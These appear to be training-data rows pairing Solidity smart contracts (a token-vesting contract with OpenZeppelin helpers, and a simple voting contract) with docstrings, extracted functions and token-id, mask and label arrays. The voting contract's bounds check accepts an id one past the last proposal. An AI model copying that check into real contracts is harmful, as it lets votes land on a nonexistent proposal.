* @param _cliffUnlockedBP basis points of initial unlock – after the start and before the end of the cliff period
* @param _start the time (as Unix time) at which point vesting starts
* @param _duration duration in seconds of the period in which the tokens will vest
* @param _schedule type of the token vesting: CONTINUOUS, MONTHLY, QUARTERLY
* @param _name SymbiosisTokenVesting name
*/
constructor(
IERC20 _token,
uint256 _start,
uint256 _cliffDuration,
uint256 _cliffUnlockedBP,
uint256 _duration,
VestingSchedule _schedule,
string memory _name
) {
require(
address(_token) != address(0),
"SymbiosisTokenVesting: token is the zero address"
);
require(_duration > 0, "SymbiosisTokenVesting: duration is 0");
require(
_cliffDuration <= _duration,
"SymbiosisTokenVesting: cliff is longer than duration"
);
require(
_start + _duration > block.timestamp,
"SymbiosisTokenVesting: final time is before current time"
);
require(
_cliffUnlockedBP <= MAX_BPS,
"SymbiosisTokenVesting: invalid cliff unlocked BP"
);
token = _token;
duration = _duration;
cliff = _start + _cliffDuration;
start = _start;
schedule = _schedule;
name = _name;
cliffUnlockedBP = _cliffUnlockedBP;
}
modifier onlyStaking() {
require(
msg.sender == stakingAddress,
"SymbiosisTokenVesting: caller is not the staking address"
);
_;
}
function setStakingAddress(address _stakingAddress) external onlyOwner {
stakingAddress = _stakingAddress;
}
/**
* @notice Calculates the total amount of vested tokens.
*/
function totalVested() public view returns (uint256) {
uint256 currentBalance = token.balanceOf(address(this));
return currentBalance + released;
}
/**
* @notice Calculates the amount that has already vested but hasn't been released yet.
* @param _beneficiary Address of vested tokens beneficiary
*/
function releasableAmount(address _beneficiary)
public
view
returns (uint256)
{
uint256 releasable = _vestedAmount(_beneficiary) - releasedToBeneficiary[_beneficiary];
uint256 frozen = frozenForStakeAmount[_beneficiary];
return (releasable > frozen) ? (releasable - frozen) : 0;
}
/**
* @notice Get a beneficiary address with current index.
*/
function getBeneficiary(uint256 index) external view returns (address) {
return beneficiaries[index];
}
/**
* @notice Get an array of beneficiary addresses.
*/
function getBeneficiaries() external view returns (address[] memory) {
return beneficiaries;
}
/**
* @notice Adds beneficiaries to SymbiosisTokenVesting by owner.
*
* Requirements:
* - can only be called by owner.
*
* @param _beneficiaries Addresses of beneficiaries
* @param _amounts Amounts of tokens reserved for beneficiaries
*/
function addBeneficiaries(
address[] memory _beneficiaries,
uint256[] memory _amounts
) external onlyOwner {
uint256 len = _beneficiaries.length;
require(len == _amounts.length, "SymbiosisTokenVesting: Array lengths do not match");
uint256 amountToBeneficiaries = 0;
for (uint256 i = 0; i < len; i++) {
amountToBeneficiaries = amountToBeneficiaries + _amounts[i];
// add new beneficiary to array
if (reservedForBeneficiary[_beneficiaries[i]] == 0) {
beneficiaries.push(_beneficiaries[i]);
}
reservedForBeneficiary[_beneficiaries[i]] =
reservedForBeneficiary[_beneficiaries[i]] +
_amounts[i];
emit ReservedAdded(_beneficiaries[i], _amounts[i]);
}
reserved = reserved + amountToBeneficiaries;
// check reserved condition
require(
reserved <= totalVested(),
"SymbiosisTokenVesting: reserved exceeds totalVested"
);
}
/**
* @notice Withdraws ERC20 token funds by owner (except vested token).
*
* Requirements:
* - can only be called by owner.
*
* @param _token Token address (except vested token)
* @param _amount The amount of token to withdraw
**/
function withdrawFunds(IERC20 _token, uint256 _amount) external onlyOwner {
require(
_token != token,
"SymbiosisTokenVesting: vested token is not available for withdrawal"
);
_token.safeTransfer(msg.sender, _amount);
emit TokensWithdrawnByOwner(address(_token), _amount);
}
/**
* @notice Withdraws ERC20 vested token by owner.
*
* Requirements:
* - can only be called by owner.
*
* @param _amount The amount of token to withdraw
**/
function emergencyWithdraw(uint256 _amount) external onlyOwner {
require(
block.timestamp < start,
"SymbiosisTokenVesting: vesting has already started"
);
token.safeTransfer(msg.sender, _amount);
emit TokensWithdrawnByOwner(address(token), _amount);
}
/**
* @notice Transfers vested tokens to beneficiary.
* @param _beneficiary Address of vested tokens beneficiary
*/
function release(address _beneficiary) external {
_release(_beneficiary, _beneficiary);
}
/**
* @notice Transfers vested tokens of sender to specified address.
* @param _transferTo Address to which tokens are transferred
*/
function releaseToAddress(address _transferTo) external {
_release(msg.sender, _transferTo);
}
function allocateStake(address _beneficiary, uint256 _amount)
external
onlyStaking
returns (bool)
{
require(
reservedForBeneficiary[_beneficiary] - releasedToBeneficiary[_beneficiary] >= _amount,
"SymbiosisTokenVesting: allocation amount exceeds balance"
);
frozenForStakeAmount[_beneficiary] += _amount;
return true;
}
function unlockStake(address _beneficiary, uint256 _amount)
external
onlyStaking
returns (bool)
{
require(
_amount <= frozenForStakeAmount[_beneficiary],
"SymbiosisTokenVesting: amount exceeds frozen amount for this beneficiary"
);
frozenForStakeAmount[_beneficiary] -= _amount;
return true;
}
/**
* @dev Calculates the amount that has already vested.
* @param _beneficiary Address of vested tokens beneficiary
*/
function _vestedAmount(address _beneficiary)
private
view
returns (uint256)
{
uint256 curTimestamp = block.timestamp;
if (curTimestamp < start) {
return 0;
} else if (curTimestamp < cliff) {
return reservedForBeneficiary[_beneficiary] * cliffUnlockedBP / MAX_BPS;
} else if (curTimestamp >= start + duration) {
return reservedForBeneficiary[_beneficiary];
} else {
return
reservedForBeneficiary[_beneficiary] * cliffUnlockedBP / MAX_BPS +
reservedForBeneficiary[_beneficiary] * (MAX_BPS - cliffUnlockedBP) * _vestedPeriod() / (duration - (cliff - start)) / MAX_BPS;
}
}
/**
* @dev Calculates the duration of period that is already unlocked according to VestingSchedule type.
*/
function _vestedPeriod() private view returns (uint256 period) {
period = block.timestamp - cliff; // CONTINUOUS from cliff
if (schedule == VestingSchedule.MONTHLY) {
period = period - (period % MONTHLY_TIME);
} else if (schedule == VestingSchedule.QUARTERLY) {
period = period - (period % QUARTERLY_TIME);
}
}
/**
* @dev Transfers vested tokens.
* @param _beneficiary Address of vested tokens beneficiary
* @param _transferTo Address to which tokens are transferred
*/
function _release(address _beneficiary, address _transferTo) private {
uint256 unreleased = releasableAmount(_beneficiary);
require(unreleased > 0, "SymbiosisTokenVesting: no tokens are due");
releasedToBeneficiary[_beneficiary] =
releasedToBeneficiary[_beneficiary] +
unreleased;
released = released + unreleased;
token.safeTransfer(_transferTo, unreleased);
emit TokensReleased(_beneficiary, _transferTo, unreleased);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | * @notice Calculates the amount that has already vested but hasn't been released yet. @param _beneficiary Address of vested tokens beneficiary/ | function releasableAmount(address _beneficiary)
public
view
returns (uint256)
{
uint256 releasable = _vestedAmount(_beneficiary) - releasedToBeneficiary[_beneficiary];
uint256 frozen = frozenForStakeAmount[_beneficiary];
return (releasable > frozen) ? (releasable - frozen) : 0;
}
| 6,131,506 | [
1,
10587,
326,
3844,
716,
711,
1818,
331,
3149,
1496,
13342,
1404,
2118,
15976,
4671,
18,
225,
389,
70,
4009,
74,
14463,
814,
5267,
434,
331,
3149,
2430,
27641,
74,
14463,
814,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
6707,
345,
429,
6275,
12,
2867,
389,
70,
4009,
74,
14463,
814,
13,
203,
3639,
1071,
203,
3639,
1476,
203,
3639,
1135,
261,
11890,
5034,
13,
203,
565,
288,
203,
3639,
2254,
5034,
6707,
345,
429,
273,
389,
90,
3149,
6275,
24899,
70,
4009,
74,
14463,
814,
13,
300,
15976,
774,
38,
4009,
74,
14463,
814,
63,
67,
70,
4009,
74,
14463,
814,
15533,
203,
3639,
2254,
5034,
12810,
273,
12810,
1290,
510,
911,
6275,
63,
67,
70,
4009,
74,
14463,
814,
15533,
203,
3639,
327,
261,
16599,
345,
429,
405,
12810,
13,
692,
261,
16599,
345,
429,
300,
12810,
13,
294,
374,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// Voting.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/contracts/access/Ownable.sol";
contract Voting is Ownable {
/*
Can be improved with some assert to check the count of vote after and before votes etc...
*/
struct Voter {
bool isRegistered;
bool hasVoted;
uint256 votedProposalId;
}
struct Proposal {
string description;
uint256 voteCount;
}
enum WorkflowStatus {
RegisteringVoters,
ProposalsRegistrationStarted,
ProposalsRegistrationEnded,
VotingSessionStarted,
VotingSessionEnded,
VotesTallied
}
event VoterRegistered(address voterAddress);
event ProposalsRegistrationStarted();
event ProposalsRegistrationEnded();
event ProposalRegistered(uint256 proposalId);
event VotingSessionStarted();
event VotingSessionEnded();
event Voted(address voter, uint256 proposalId);
event VotesTallied();
event WorkflowStatusChange(
WorkflowStatus previousStatus,
WorkflowStatus newStatus
);
uint256 proposalId = 0;
uint256 winningProposalId;
// Declare workflow variable of type WorkflowStatus (which is enum)
WorkflowStatus public workflow = WorkflowStatus.RegisteringVoters; //default = RegisteringVoters
// Mapping
mapping(address => Voter) whitelist; //map a voter to his address
mapping(uint256 => Proposal) proposals; //map a proposal to his id
// 1) Owner register the whitelist
function registerVoter(address _address) public onlyOwner {
require(
!whitelist[_address].isRegistered,
"this voter is already registered"
);
Voter memory newVoter;
newVoter.isRegistered = true;
whitelist[_address] = newVoter;
emit VoterRegistered(_address);
}
// 2) Owner makes register session begin
function startProposalsRegistration() public onlyOwner {
require(
workflow == WorkflowStatus.RegisteringVoters,
"Must be in the RegisteringVoters to start ProposalsRegistration"
);
workflow = WorkflowStatus.ProposalsRegistrationStarted;
emit ProposalsRegistrationStarted();
emit WorkflowStatusChange(
WorkflowStatus.RegisteringVoters,
WorkflowStatus.ProposalsRegistrationStarted
);
}
// 3) Whitelisted voters can register proposals
function saveProposal(string memory _description) public {
require(
workflow == WorkflowStatus.ProposalsRegistrationStarted,
"Saving a proposal must be during the Registration workflow"
);
require(
whitelist[msg.sender].isRegistered,
"A voter must be registered to save a proposal"
);
Proposal memory newProposal;
newProposal.description = _description;
proposals[proposalId] = newProposal;
emit ProposalRegistered(proposalId);
proposalId++;
}
// 4) Owner makes register session end
function endProposalsRegistration() public onlyOwner {
require(
workflow == WorkflowStatus.ProposalsRegistrationStarted,
"ProposalsRegistration must have been started to end it"
);
workflow = WorkflowStatus.ProposalsRegistrationEnded;
emit ProposalsRegistrationEnded();
emit WorkflowStatusChange(
WorkflowStatus.ProposalsRegistrationStarted,
WorkflowStatus.ProposalsRegistrationEnded
);
}
// 5) Owner makes voting session begin
function startVotingSession() public onlyOwner {
require(
workflow == WorkflowStatus.ProposalsRegistrationEnded,
"ProposalsRegistration must end before to start the VotingSession"
);
workflow = WorkflowStatus.VotingSessionStarted;
emit VotingSessionStarted();
emit WorkflowStatusChange(
WorkflowStatus.ProposalsRegistrationEnded,
WorkflowStatus.VotingSessionStarted
);
}
// 6) Whitelisted voters can vote for proposals
function voteForProposal(uint256 _proposalId) public {
require(
workflow == WorkflowStatus.VotingSessionStarted,
"Voting for proposal must be during the Voting session"
);
require(
whitelist[msg.sender].isRegistered,
"A voter must be registered to save a proposal"
);
require(
_proposalId <= proposalId,
"Your choice of proposal is too high, there are less proposals"
);
require(!whitelist[msg.sender].hasVoted, "Voter can only vote once");
whitelist[msg.sender].hasVoted = true;
whitelist[msg.sender].votedProposalId = _proposalId;
proposals[_proposalId].voteCount++;
emit Voted(msg.sender, _proposalId);
}
// 7) Owner makes voting session end
function endVotingSession() public onlyOwner {
require(
workflow == WorkflowStatus.VotingSessionStarted,
"VotingSession must have been started to end it"
);
workflow = WorkflowStatus.VotingSessionEnded;
emit VotingSessionEnded();
emit WorkflowStatusChange(
WorkflowStatus.VotingSessionStarted,
WorkflowStatus.VotingSessionEnded
);
}
// 8) Owner count the votes
function tallyVotes() public onlyOwner {
require(
workflow == WorkflowStatus.VotingSessionEnded,
"VotingSession must have ended before VotesTallied"
);
workflow = WorkflowStatus.VotesTallied;
emit VotesTallied();
emit WorkflowStatusChange(
WorkflowStatus.VotingSessionEnded,
WorkflowStatus.VotesTallied
);
// tally the vote
winningProposalId = 0; // init winningProposalId
for (uint256 i = 0; i < proposalId; i++) {
if (
proposals[i].voteCount > proposals[winningProposalId].voteCount
) {
winningProposalId = i;
}
}
}
// 9) Everyone can see the restults
function getWinningProposal() public view returns (uint256) {
return winningProposalId;
}
// non mandatory for Defi but useful for my test
function getNumOfProposals() public view onlyOwner returns (uint256) {
return proposalId;
}
}
| non mandatory for Defi but useful for my test | function getNumOfProposals() public view onlyOwner returns (uint256) {
return proposalId;
}
| 5,476,232 | [
1,
5836,
11791,
364,
10922,
77,
1496,
5301,
364,
3399,
1842,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
11187,
951,
626,
22536,
1435,
1071,
1476,
1338,
5541,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
14708,
548,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
